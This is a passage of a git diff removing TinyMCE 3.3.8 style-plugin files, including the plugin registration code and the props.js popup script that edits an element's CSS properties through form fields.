-(function(){tinymce.create("tinymce.plugins.StylePlugin",{init:function(a,b){a.addCommand("mceStyleProps",function(){a.windowManager.open({file:b+"/props.htm",width:480+parseInt(a.getLang("style.delta_width",0)),height:320+parseInt(a.getLang("style.delta_height",0)),inline:1},{plugin_url:b,style_text:a.selection.getNode().style.cssText})});a.addCommand("mceSetElementStyle",function(d,c){if(e=a.selection.getNode()){a.dom.setAttrib(e,"style",c);a.execCommand("mceRepaint")}});a.onNodeChange.add(function(d,c,f){c.setDisabled("styleprops",f.nodeName==="BODY")});a.addButton("styleprops",{title:"style.desc",cmd:"mceStyleProps"})},getInfo:function(){return{longname:"Style",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("style",tinymce.plugins.StylePlugin)})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/editor_plugin_src.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/editor_plugin_src.js deleted file mode 100644 index 5f7755f..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/editor_plugin_src.js +++ /dev/null @@ -1,55 +0,0 @@ -/** - * editor_plugin_src.js - * - * Copyright 2009, Moxiecode Systems AB - * Released under LGPL License. - * - * License: http://tinymce.moxiecode.com/license - * Contributing: http://tinymce.moxiecode.com/contributing - */ - -(function() { - tinymce.create('tinymce.plugins.StylePlugin', { - init : function(ed, url) { - // Register commands - ed.addCommand('mceStyleProps', function() { - ed.windowManager.open({ - file : url + '/props.htm', - width : 480 + parseInt(ed.getLang('style.delta_width', 0)), - height : 320 + parseInt(ed.getLang('style.delta_height', 0)), - inline : 1 - }, { - plugin_url : url, - style_text : ed.selection.getNode().style.cssText - }); - }); - - ed.addCommand('mceSetElementStyle', function(ui, v) { - if (e = ed.selection.getNode()) { - ed.dom.setAttrib(e, 'style', v); - ed.execCommand('mceRepaint'); - } - }); - - ed.onNodeChange.add(function(ed, cm, n) { - cm.setDisabled('styleprops', n.nodeName === 'BODY'); - }); - - // Register buttons - ed.addButton('styleprops', {title : 'style.desc', cmd : 'mceStyleProps'}); - }, - - getInfo : function() { - return { - longname : 'Style', - author : 'Moxiecode Systems AB', - authorurl : 'http://tinymce.moxiecode.com', - infourl : 'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/style', - version : tinymce.majorVersion + "." + tinymce.minorVersion - }; - } - }); - - // Register plugin - tinymce.PluginManager.add('style', tinymce.plugins.StylePlugin); -})(); \ No newline at end of file diff --git a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/js/props.js b/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/js/props.js deleted file mode 100644 index a8dd93d..0000000 --- a/tinymce-3.3.8/jscripts/tiny_mce/plugins/style/js/props.js +++ /dev/null @@ -1,641 +0,0 @@ -tinyMCEPopup.requireLangPack(); - -var defaultFonts = "" + - "Arial, Helvetica, sans-serif=Arial, Helvetica, sans-serif;" + - "Times New Roman, Times, serif=Times New Roman, Times, serif;" + - "Courier New, Courier, mono=Courier New, Courier, mono;" + - "Times New Roman, Times, serif=Times New Roman, Times, serif;" + - "Georgia, Times New Roman, Times, serif=Georgia, Times New Roman, Times, serif;" + - "Verdana, Arial, Helvetica, sans-serif=Verdana, Arial, Helvetica, sans-serif;" + - "Geneva, Arial, Helvetica, sans-serif=Geneva, Arial, Helvetica, sans-serif"; - -var defaultSizes = "9;10;12;14;16;18;24;xx-small;x-small;small;medium;large;x-large;xx-large;smaller;larger"; -var defaultMeasurement = "+pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; -var defaultSpacingMeasurement = "pixels=px;points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;+ems=em;exs=ex;%"; -var defaultIndentMeasurement = "pixels=px;+points=pt;inches=in;centimetres=cm;millimetres=mm;picas=pc;ems=em;exs=ex;%"; -var defaultWeight = "normal;bold;bolder;lighter;100;200;300;400;500;600;700;800;900"; -var defaultTextStyle = "normal;italic;oblique"; -var defaultVariant = "normal;small-caps"; -var defaultLineHeight = "normal"; -var defaultAttachment = "fixed;scroll"; -var defaultRepeat = "no-repeat;repeat;repeat-x;repeat-y"; -var defaultPosH = "left;center;right"; -var defaultPosV = "top;center;bottom"; -var defaultVAlign = "baseline;sub;super;top;text-top;middle;bottom;text-bottom"; -var defaultDisplay = "inline;block;list-item;run-in;compact;marker;table;inline-table;table-row-group;table-header-group;table-footer-group;table-row;table-column-group;table-column;table-cell;table-caption;none"; -var defaultBorderStyle = "none;solid;dashed;dotted;double;groove;ridge;inset;outset"; -var defaultBorderWidth = "thin;medium;thick"; -var defaultListType = "disc;circle;square;decimal;lower-roman;upper-roman;lower-alpha;upper-alpha;none"; - -function init() { - var ce = document.getElementById('container'), h; - - ce.style.cssText = tinyMCEPopup.getWindowArg('style_text'); - - h = getBrowserHTML('background_image_browser','background_image','image','advimage'); - document.getElementById("background_image_browser").innerHTML = h; - - document.getElementById('text_color_pickcontainer').innerHTML = getColorPickerHTML('text_color_pick','text_color'); - document.getElementById('background_color_pickcontainer').innerHTML = getColorPickerHTML('background_color_pick','background_color'); - document.getElementById('border_color_top_pickcontainer').innerHTML = getColorPickerHTML('border_color_top_pick','border_color_top'); - document.getElementById('border_color_right_pickcontainer').innerHTML = getColorPickerHTML('border_color_right_pick','border_color_right'); - document.getElementById('border_color_bottom_pickcontainer').innerHTML = getColorPickerHTML('border_color_bottom_pick','border_color_bottom'); - document.getElementById('border_color_left_pickcontainer').innerHTML = getColorPickerHTML('border_color_left_pick','border_color_left'); - - fillSelect(0, 'text_font', 'style_font', defaultFonts, ';', true); - fillSelect(0, 'text_size', 'style_font_size', defaultSizes, ';', true); - fillSelect(0, 'text_size_measurement', 'style_font_size_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'text_case', 'style_text_case', "capitalize;uppercase;lowercase", ';', true); - fillSelect(0, 'text_weight', 'style_font_weight', defaultWeight, ';', true); - fillSelect(0, 'text_style', 'style_font_style', defaultTextStyle, ';', true); - fillSelect(0, 'text_variant', 'style_font_variant', defaultVariant, ';', true); - fillSelect(0, 'text_lineheight', 'style_font_line_height', defaultLineHeight, ';', true); - fillSelect(0, 'text_lineheight_measurement', 'style_font_line_height_measurement', defaultMeasurement, ';', true); - - fillSelect(0, 'background_attachment', 'style_background_attachment', defaultAttachment, ';', true); - fillSelect(0, 'background_repeat', 'style_background_repeat', defaultRepeat, ';', true); - - fillSelect(0, 'background_hpos_measurement', 'style_background_hpos_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'background_vpos_measurement', 'style_background_vpos_measurement', defaultMeasurement, ';', true); - - fillSelect(0, 'background_hpos', 'style_background_hpos', defaultPosH, ';', true); - fillSelect(0, 'background_vpos', 'style_background_vpos', defaultPosV, ';', true); - - fillSelect(0, 'block_wordspacing', 'style_wordspacing', 'normal', ';', true); - fillSelect(0, 'block_wordspacing_measurement', 'style_wordspacing_measurement', defaultSpacingMeasurement, ';', true); - fillSelect(0, 'block_letterspacing', 'style_letterspacing', 'normal', ';', true); - fillSelect(0, 'block_letterspacing_measurement', 'style_letterspacing_measurement', defaultSpacingMeasurement, ';', true); - fillSelect(0, 'block_vertical_alignment', 'style_vertical_alignment', defaultVAlign, ';', true); - fillSelect(0, 'block_text_align', 'style_text_align', "left;right;center;justify", ';', true); - fillSelect(0, 'block_whitespace', 'style_whitespace', "normal;pre;nowrap", ';', true); - fillSelect(0, 'block_display', 'style_display', defaultDisplay, ';', true); - fillSelect(0, 'block_text_indent_measurement', 'style_text_indent_measurement', defaultIndentMeasurement, ';', true); - - fillSelect(0, 'box_width_measurement', 'style_box_width_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_height_measurement', 'style_box_height_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_float', 'style_float', 'left;right;none', ';', true); - fillSelect(0, 'box_clear', 'style_clear', 'left;right;both;none', ';', true); - fillSelect(0, 'box_padding_left_measurement', 'style_padding_left_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_padding_top_measurement', 'style_padding_top_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_padding_bottom_measurement', 'style_padding_bottom_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_padding_right_measurement', 'style_padding_right_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_margin_left_measurement', 'style_margin_left_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_margin_top_measurement', 'style_margin_top_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_margin_bottom_measurement', 'style_margin_bottom_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'box_margin_right_measurement', 'style_margin_right_measurement', defaultMeasurement, ';', true); - - fillSelect(0, 'border_style_top', 'style_border_style_top', defaultBorderStyle, ';', true); - fillSelect(0, 'border_style_right', 'style_border_style_right', defaultBorderStyle, ';', true); - fillSelect(0, 'border_style_bottom', 'style_border_style_bottom', defaultBorderStyle, ';', true); - fillSelect(0, 'border_style_left', 'style_border_style_left', defaultBorderStyle, ';', true); - - fillSelect(0, 'border_width_top', 'style_border_width_top', defaultBorderWidth, ';', true); - fillSelect(0, 'border_width_right', 'style_border_width_right', defaultBorderWidth, ';', true); - fillSelect(0, 'border_width_bottom', 'style_border_width_bottom', defaultBorderWidth, ';', true); - fillSelect(0, 'border_width_left', 'style_border_width_left', defaultBorderWidth, ';', true); - - fillSelect(0, 'border_width_top_measurement', 'style_border_width_top_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'border_width_right_measurement', 'style_border_width_right_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'border_width_bottom_measurement', 'style_border_width_bottom_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'border_width_left_measurement', 'style_border_width_left_measurement', defaultMeasurement, ';', true); - - fillSelect(0, 'list_type', 'style_list_type', defaultListType, ';', true); - fillSelect(0, 'list_position', 'style_list_position', "inside;outside", ';', true); - - fillSelect(0, 'positioning_type', 'style_positioning_type', "absolute;relative;static", ';', true); - fillSelect(0, 'positioning_visibility', 'style_positioning_visibility', "inherit;visible;hidden", ';', true); - - fillSelect(0, 'positioning_width_measurement', 'style_positioning_width_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'positioning_height_measurement', 'style_positioning_height_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'positioning_overflow', 'style_positioning_overflow', "visible;hidden;scroll;auto", ';', true); - - fillSelect(0, 'positioning_placement_top_measurement', 'style_positioning_placement_top_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'positioning_placement_right_measurement', 'style_positioning_placement_right_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'positioning_placement_bottom_measurement', 'style_positioning_placement_bottom_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'positioning_placement_left_measurement', 'style_positioning_placement_left_measurement', defaultMeasurement, ';', true); - - fillSelect(0, 'positioning_clip_top_measurement', 'style_positioning_clip_top_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'positioning_clip_right_measurement', 'style_positioning_clip_right_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'positioning_clip_bottom_measurement', 'style_positioning_clip_bottom_measurement', defaultMeasurement, ';', true); - fillSelect(0, 'positioning_clip_left_measurement', 'style_positioning_clip_left_measurement', defaultMeasurement, ';', true); - - TinyMCE_EditableSelects.init(); - setupFormData(); - showDisabledControls(); -} - -function setupFormData() { - var ce = document.getElementById('container'), f = document.forms[0], s, b, i; - - // Setup text fields - - selectByValue(f, 'text_font', ce.style.fontFamily, true, true); - selectByValue(f, 'text_size', getNum(ce.style.fontSize), true, true); - selectByValue(f, 'text_size_measurement', getMeasurement(ce.style.fontSize)); - selectByValue(f, 'text_weight', ce.style.fontWeight, true, true); - selectByValue(f, 'text_style', ce.style.fontStyle, true, true); - selectByValue(f, 'text_lineheight', getNum(ce.style.lineHeight), true, true); - selectByValue(f, 'text_lineheight_measurement', getMeasurement(ce.style.lineHeight)); - selectByValue(f, 'text_case', ce.style.textTransform, true, true); - selectByValue(f, 'text_variant', ce.style.fontVariant, true, true); - f.text_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.color); - updateColor('text_color_pick', 'text_color'); - f.text_underline.checked = inStr(ce.style.textDecoration, 'underline'); - f.text_overline.checked = inStr(ce.style.textDecoration, 'overline'); - f.text_linethrough.checked = inStr(ce.style.textDecoration, 'line-through'); - f.text_blink.checked = inStr(ce.style.textDecoration, 'blink'); - - // Setup background fields - - f.background_color.value = tinyMCEPopup.editor.dom.toHex(ce.style.backgroundColor); - updateColor('background_color_pick', 'background_color'); - f.background_image.value = ce.style.backgroundImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); - selectByValue(f, 'background_repeat', ce.style.backgroundRepeat, true, true); - selectByValue(f, 'background_attachment', ce.style.backgroundAttachment, true, true); - selectByValue(f, 'background_hpos', getNum(getVal(ce.style.backgroundPosition, 0)), true, true); - selectByValue(f, 'background_hpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 0))); - selectByValue(f, 'background_vpos', getNum(getVal(ce.style.backgroundPosition, 1)), true, true); - selectByValue(f, 'background_vpos_measurement', getMeasurement(getVal(ce.style.backgroundPosition, 1))); - - // Setup block fields - - selectByValue(f, 'block_wordspacing', getNum(ce.style.wordSpacing), true, true); - selectByValue(f, 'block_wordspacing_measurement', getMeasurement(ce.style.wordSpacing)); - selectByValue(f, 'block_letterspacing', getNum(ce.style.letterSpacing), true, true); - selectByValue(f, 'block_letterspacing_measurement', getMeasurement(ce.style.letterSpacing)); - selectByValue(f, 'block_vertical_alignment', ce.style.verticalAlign, true, true); - selectByValue(f, 'block_text_align', ce.style.textAlign, true, true); - f.block_text_indent.value = getNum(ce.style.textIndent); - selectByValue(f, 'block_text_indent_measurement', getMeasurement(ce.style.textIndent)); - selectByValue(f, 'block_whitespace', ce.style.whiteSpace, true, true); - selectByValue(f, 'block_display', ce.style.display, true, true); - - // Setup box fields - - f.box_width.value = getNum(ce.style.width); - selectByValue(f, 'box_width_measurement', getMeasurement(ce.style.width)); - - f.box_height.value = getNum(ce.style.height); - selectByValue(f, 'box_height_measurement', getMeasurement(ce.style.height)); - - if (tinymce.isGecko) - selectByValue(f, 'box_float', ce.style.cssFloat, true, true); - else - selectByValue(f, 'box_float', ce.style.styleFloat, true, true); - - selectByValue(f, 'box_clear', ce.style.clear, true, true); - - setupBox(f, ce, 'box_padding', 'padding', ''); - setupBox(f, ce, 'box_margin', 'margin', ''); - - // Setup border fields - - setupBox(f, ce, 'border_style', 'border', 'Style'); - setupBox(f, ce, 'border_width', 'border', 'Width'); - setupBox(f, ce, 'border_color', 'border', 'Color'); - - updateColor('border_color_top_pick', 'border_color_top'); - updateColor('border_color_right_pick', 'border_color_right'); - updateColor('border_color_bottom_pick', 'border_color_bottom'); - updateColor('border_color_left_pick', 'border_color_left'); - - f.elements.border_color_top.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_top.value); - f.elements.border_color_right.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_right.value); - f.elements.border_color_bottom.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_bottom.value); - f.elements.border_color_left.value = tinyMCEPopup.editor.dom.toHex(f.elements.border_color_left.value); - - // Setup list fields - - selectByValue(f, 'list_type', ce.style.listStyleType, true, true); - selectByValue(f, 'list_position', ce.style.listStylePosition, true, true); - f.list_bullet_image.value = ce.style.listStyleImage.replace(new RegExp("url\\('?([^']*)'?\\)", 'gi'), "$1"); - - // Setup box fields - - selectByValue(f, 'positioning_type', ce.style.position, true, true); - selectByValue(f, 'positioning_visibility', ce.style.visibility, true, true); - selectByValue(f, 'positioning_overflow', ce.style.overflow, true, true); - f.positioning_zindex.value = ce.style.zIndex ? ce.style.zIndex : ""; - - f.positioning_width.value = getNum(ce.style.width); - selectByValue(f, 'positioning_width_measurement', getMeasurement(ce.style.width)); - - f.positioning_height.value = getNum(ce.style.height); - selectByValue(f, 'positioning_height_measurement', getMeasurement(ce.style.height)); - - setupBox(f, ce, 'positioning_placement', '', '', ['top', 'right', 'bottom', 'left']); - - s = ce.style.clip.replace(new RegExp("rect\\('?([^']*)'?\\)", 'gi'), "$1"); - s = s.replace(/,/g, ' '); - - if (!hasEqualValues([getVal(s, 0), getVal(s, 1), getVal(s, 2), getVal(s, 3)])) { - f.positioning_clip_top.value = getNum(getVal(s, 0)); - selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); - f.positioning_clip_right.value = getNum(getVal(s, 1)); - selectByValue(f, 'positioning_clip_right_measurement', getMeasurement(getVal(s, 1))); - f.positioning_clip_bottom.value = getNum(getVal(s, 2)); - selectByValue(f, 'positioning_clip_bottom_measurement', getMeasurement(getVal(s, 2))); - f.positioning_clip_left.value = getNum(getVal(s, 3)); - selectByValue(f, 'positioning_clip_left_measurement', getMeasurement(getVal(s, 3))); - } else { - f.positioning_clip_top.value = getNum(getVal(s, 0)); - selectByValue(f, 'positioning_clip_top_measurement', getMeasurement(getVal(s, 0))); - f.positioning_clip_right.value = f.positioning_clip_bottom.value = f.positioning_clip_left.value; - } - -// setupBox(f, ce, '', 'border', 'Color'); -} - -function getMeasurement(s) { - return s.replace(/^([0-9.]+)(.*)$/, "$2"); -} - -function getNum(s) { - if (new RegExp('^(?:[0-9.]+)(?:[a-z%]+)$', 'gi').test(s)) - return s.replace(/[^0-9.]/g, ''); - - return s; -} - -function inStr(s, n) { - return new RegExp(n, 'gi').test(s); -} - -function getVal(s, i) { - var a = s.split(' '); - - if (a.length > 1) - return a[i]; - - return ""; -} - -function setValue(f, n, v) { - if (f.elements[n].type == "text") - f.elements[n].value = v; - else - selectByValue(f, n, v, true, true); -} - -function setupBox(f, ce, fp, pr, sf, b) { - if (typeof(b) == "undefined") - b = ['Top', 'Right', 'Bottom', 'Left']; - - if (isSame(ce, pr, sf, b)) { - f.elements[fp + "_same"].checked = true; - - setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); - f.elements[fp + "_top"].disabled = false; - - f.elements[fp + "_right"].value = ""; - f.elements[fp + "_right"].disabled = true; - f.elements[fp + "_bottom"].value = ""; - f.elements[fp + "_bottom"].disabled = true; - f.elements[fp + "_left"].value = ""; - f.elements[fp + "_left"].disabled = true; - - if (f.elements[fp + "_top_measurement"]) { - selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); - f.elements[fp + "_left_measurement"].disabled = true; - f.elements[fp + "_bottom_measurement"].disabled = true; - f.elements[fp + "_right_measurement"].disabled = true; - } - } else { - f.elements[fp + "_same"].checked = false; - - setValue(f, fp + "_top", getNum(ce.style[pr + b[0] + sf])); - f.elements[fp + "_top"].disabled = false; - - setValue(f, fp + "_right", getNum(ce.style[pr + b[1] + sf])); - f.elements[fp + "_right"].disabled = false; - - setValue(f, fp + "_bottom", getNum(ce.style[pr + b[2] + sf])); - f.elements[fp + "_bottom"].disabled = false; - - setValue(f, fp + "_left", getNum(ce.style[pr + b[3] + sf])); - f.elements[fp + "_left"].disabled = false; - - if (f.elements[fp + "_top_measurement"]) { - selectByValue(f, fp + '_top_measurement', getMeasurement(ce.style[pr + b[0] + sf])); - selectByValue(f, fp + '_right_measurement', getMeasurement(ce.style[pr + b[1] + sf])); - selectByValue(f, fp + '_bottom_measurement', getMeasurement(ce.style[pr + b[2] + sf])); - selectByValue(f, fp + '_left_measurement', getMeasurement(ce.style[pr + b[3] + sf])); - f.elements[fp + "_left_measurement"].disabled = false; - f.elements[fp + "_bottom_measurement"].disabled = false; - f.elements[fp + "_right_measurement"].disabled = false; - } - } -} - -function isSame(e, pr, sf, b) { - var a = [], i, x; - - if (typeof(b) == "undefined") - b = ['Top', 'Right', 'Bottom', 'Left']; - - if (typeof(sf) == "undefined" || sf == null) - sf = ""; - - a[0] = e.style[pr + b[0] + sf]; - a[1] = e.style[pr + b[1] + sf]; - a[2] = e.style[pr + b[2] + sf]; - a[3] = e.style[pr + b[3] + sf]; - - for (i=0; i<a.length; i++) { - if (a[i] == null) - return false; - - for (x=0; x<a.length; x++) { - if (a[x] != a[i]) - return false; - } - } - - return true; -}; - -function hasEqualValues(a) { - var i, x; - - for (i=0; i<a.length; i++) { - if (a[i] == null) - return false; - - for (x=0; x<a.length; x++) { - if (a[x] != a[i]) - return false; - } - } - - return true; -} - -function applyAction() { - var ce = document.getElementById('container'), ed = tinyMCEPopup.editor; - - generateCSS(); - - tinyMCEPopup.restoreSelection(); - ed.dom.setAttrib(ed.selection.getNode(), 'style', tinyMCEPopup.editor.dom.serializeStyle(tinyMCEPopup.editor.dom.parseStyle(ce.style.cssText))); -} - -function updateAction() { - applyAction(); - tinyMCEPopup.close(); -} - -function generateCSS() { - var ce = document.getElementById('container'), f = document.forms[0], num = new RegExp('[0-9]+', 'g'), s, t; - - ce.style.cssText = ""; - - // Build text styles - ce.style.fontFamily = f.text_font.value; - ce.style.fontSize = f.text_size.value + (isNum(f.text_size.value) ? (f.text_size_measurement.value || 'px') : ""); - ce.style.fontStyle = f.text_style.value; - ce.style.lineHeight = f.text_lineheight.value + (isNum(f.text_lineheight.value) ? f.text_lineheight_measurement.value : ""); - ce.style.textTransform = f.text_case.value; - ce.style.fontWeight = f.text_weight.value; - ce.style.fontVariant = f.text_variant.value; - ce.style.color = f.text_color.value; - - s = ""; - s += f.text_underline.checked ? " underline" : ""; - s += f.text_overline.checked ? " overline" : ""; - s += f.text_linethrough.checked ? " line-through" : ""; - s += f.text_blink.checked ? " blink" : ""; - s = s.length > 0 ? s.substring(1) : s; - - if (f.text_none.checked) - s = "none"; - - ce.style.textDecoration = s; - - // Build background styles - - ce.style.backgroundColor = f.background_color.value; - ce.style.backgroundImage = f.background_image.value != "" ? "url(" + f.background_image.value + ")" : ""; - ce.style.backgroundRepeat = f.background_repeat.value; - ce.style.backgroundAttachment = f.background_attachment.value; - - if (f.background_hpos.value != "") { - s = ""; - s += f.background_hpos.value + (isNum(f.background_hpos.value) ? f.background_hpos_measurement.value : "") + " "; - s += f.background_vpos.value + (isNum(f.background_vpos.value) ? f.background_vpos_measurement.value : ""); - ce.style.backgroundPosition = s; - } - - // Build block styles - - ce.style.wordSpacing = f.block_wordspacing.value + (isNum(f.block_wordspacing.value) ? f.block_wordspacing_measurement.value : ""); - ce.style.letterSpacing = f.block_letterspacing.value + (isNum(f.block_letterspacing.value) ? f.block_letterspacing_measurement.value : ""); - ce.style.verticalAlign = f.block_vertical_alignment.value; - ce.style.textAlign = f.block_text_align.value; - ce.style.textIndent = f.block_text_indent.value + (isNum(f.block_text_indent.value) ? f.block_text_indent_measurement.value : ""); - ce.style.whiteSpace = f.block_whitespace.value; - ce.style.display = f.block_display.value; - - // Build box styles - - ce.style.width = f.box_width.value + (isNum(f.box_width.value) ? f.box_width_measurement.value : ""); - ce.style.height = f.box_height.value + (isNum(f.box_height.value) ? f.box_height_measurement.value : ""); - ce.style.styleFloat = f.box_float.value; - - if (tinymce.isGecko) - ce.style.cssFloat = f.box_float.value; - - ce.style.clear = f.box_clear.value; - - if (!f.box_padding_same.checked) { - ce.style.paddingTop = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); - ce.style.paddingRight = f.box_padding_right.value + (isNum(f.box_padding_right.value) ? f.box_padding_right_measurement.value : ""); - ce.style.paddingBottom = f.box_padding_bottom.value + (isNum(f.box_padding_bottom.value) ? f.box_padding_bottom_measurement.value : ""); - ce.style.paddingLeft = f.box_padding_left.value + (isNum(f.box_padding_left.value) ? f.box_padding_left_measurement.value : ""); - } else - ce.style.padding = f.box_padding_top.value + (isNum(f.box_padding_top.value) ? f.box_padding_top_measurement.value : ""); - - if (!f.box_margin_same.checked) { - ce.style.marginTop = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); - ce.style.marginRight = f.box_margin_right.value + (isNum(f.box_margin_right.value) ? f.box_margin_right_measurement.value : ""); - ce.style.marginBottom = f.box_margin_bottom.value + (isNum(f.box_margin_bottom.value) ? f.box_margin_bottom_measurement.value : ""); - ce.style.marginLeft = f.box_margin_left.value + (isNum(f.box_margin_left.value) ? f.box_margin_left_measurement.value : ""); - } else - ce.style.margin = f.box_margin_top.value + (isNum(f.box_margin_top.value) ? f.box_margin_top_measurement.value : ""); - - // Build border styles - - if (!f.border_style_same.checked) { - ce.style.borderTopStyle = f.border_style_top.value; - ce.style.borderRightStyle = f.border_style_right.value; - ce.style.borderBottomStyle = f.border_style_bottom.value; - ce.style.borderLeftStyle = f.border_style_left.value; - } else - ce.style.borderStyle = f.border_style_top.value; - - if (!f.border_width_same.checked) { - ce.style.borderTopWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); - ce.style.borderRightWidth = f.border_width_right.value + (isNum(f.border_width_right.value) ? f.border_width_right_measurement.value : ""); - ce.style.borderBottomWidth = f.border_width_bottom.value + (isNum(f.border_width_bottom.value) ? f.border_width_bottom_measurement.value : ""); - ce.style.borderLeftWidth = f.border_width_left.value + (isNum(f.border_width_left.value) ? f.border_width_left_measurement.value : ""); - } else - ce.style.borderWidth = f.border_width_top.value + (isNum(f.border_width_top.value) ? f.border_width_top_measurement.value : ""); - - if (!f.border_color_same.checked) { - ce.style.borderTopColor = f.border_color_top.value; - ce.style.borderRightColor = f.border_color_right.value; - ce.style.borderBottomColor = f.border_color_bottom.value; - ce.style.borderLeftColor = f.border_color_left.value; - } else - ce.style.borderColor = f.border_color_top.value; - - // Build list styles - - ce.style.listStyleType = f.list_type.value; - ce.style.listStylePosition = f.list_position.value; - ce.style.listStyleImage = f.list_bullet_image.value != "" ? "url(" + f.list_bullet_image.value + ")" : ""; - - // Build positioning styles - - ce.style.position = f.positioning_type.value; - ce.style.visibility = f.positioning_visibility.value; - - if (ce.style.width == "") - ce.style.width = f.positioning_width.value + (isNum(f.positioning_width.value) ? f.positioning_width_measurement.value : ""); - - if (ce.style.height == "") - ce.style.height = f.positioning_height.value + (isNum(f.positioning_height.value) ? f.positioning_height_measurement.value : ""); - - ce.style.zIndex = f.positioning_zindex.value; - ce.style.overflow = f.positioning_overflow.value; - - if (!f.positioning_placement_same.checked) { - ce.style.top = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); - ce.style.right = f.positioning_placement_right.value + (isNum(f.positioning_placement_right.value) ? f.positioning_placement_right_measurement.value : ""); - ce.style.bottom = f.positioning_placement_bottom.value + (isNum(f.positioning_placement_bottom.value) ? f.positioning_placement_bottom_measurement.value : ""); - ce.style.left = f.positioning_placement_left.value + (isNum(f.positioning_placement_left.value) ? f.positioning_placement_left_measurement.value : ""); - } else { - s = f.positioning_placement_top.value + (isNum(f.positioning_placement_top.value) ? f.positioning_placement_top_measurement.value : ""); - ce.style.top = s; - ce.style.right = s; - ce.style.bottom = s; - ce.style.left = s; - } - - if (!f.positioning_clip_same.checked) { - s = "rect("; - s += (isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto") + " "; - s += (isNum(f.positioning_clip_right.value) ? f.positioning_clip_right.value + f.positioning_clip_right_measurement.value : "auto") + " "; - s += (isNum(f.positioning_clip_bottom.value) ? f.positioning_clip_bottom.value + f.positioning_clip_bottom_measurement.value : "auto") + " "; - s += (isNum(f.positioning_clip_left.value) ? f.positioning_clip_left.value + f.positioning_clip_left_measurement.value : "auto"); - s += ")"; - - if (s != "rect(auto auto auto auto)") - ce.style.clip = s; - } else { - s = "rect("; - t = isNum(f.positioning_clip_top.value) ? f.positioning_clip_top.value + f.positioning_clip_top_measurement.value : "auto"; - s += t + " "; - s += t + " "; - s += t + " "; - s += t + ")"; - - if (s != "rect(auto auto auto auto)") - ce.style.clip = s; - } - - ce.style.cssText = ce.style.cssText; -} - -function isNum(s) { - return new RegExp('[0-9]+', 'g').test(s); -} - -function showDisabledControls() { - var f = document.forms, i, a; - - for (i=0; i<f.length; i++) { - for (a=0; a<f[i].elements.length; a++) { - if (f[i].elements[a].disabled) - tinyMCEPopup.editor.dom.addClass(f[i].elements[a], "disabled"); - else - tinyMCEPopup.editor.dom.removeClass(f[i].elements[a], "disabled"); - } - } -} - -function fillSelect(f, s, param, dval, sep, em) { - var i, ar, p, se; - - f = document.forms[f]; - sep = typeof(sep) == "undefined" ? ";" : sep; - - if (em) - addSelectValue(f, s, "", ""); - - ar = tinyMCEPopup.getParam(param, dval).split(sep); - for (i=0; i<ar.length; i++) { - se = false; - - if (ar[i].charAt(0) == '+') { - ar[i] = ar[i].substring(1); - se = true; - } - - p = ar[i].split('='); - - if (p.length > 1) { - addSelectValue(f, s, p[0], p[1]); - - if (se) - selectByValue(f, s, p[1]); - } else { - addSelectValue(f, s, p[0], p[0]); - - if (se) - selectByValue(f, s, p[0]); - } - } -} - -function toggleSame(ce, pre) { - var el = document.forms[0].elements, i; - - if (ce.checked) { - el[pre + "_top"].disabled = false; - el[pre + "_right"].disabled = true; - el[pre + "_bottom"].disabled = true; - el[pre + "_left"].disabled = true; - - if (el[pre + "_top_measurement"]) { - el[pre + "_top_measurement"].disabled = false; - el[pre + "_right_measurement"].disabled = true; - el[pre + "_bottom_measurement"].disabled = true; - el[pre + "_left_measurement"].disabled = true; - } - } else { - el[pre + "_top"].disabled = false; - el[pre + "_right"].disabled = false; - el[pre + "_bottom"].disabled = false; - el[pre + "_left"].disabled = false; - - if (el[pre + "_top_measurement"]) { - el[pre + "_top_measurement"].disabled = false; - el[pre + "_right_measurement"].disabled = 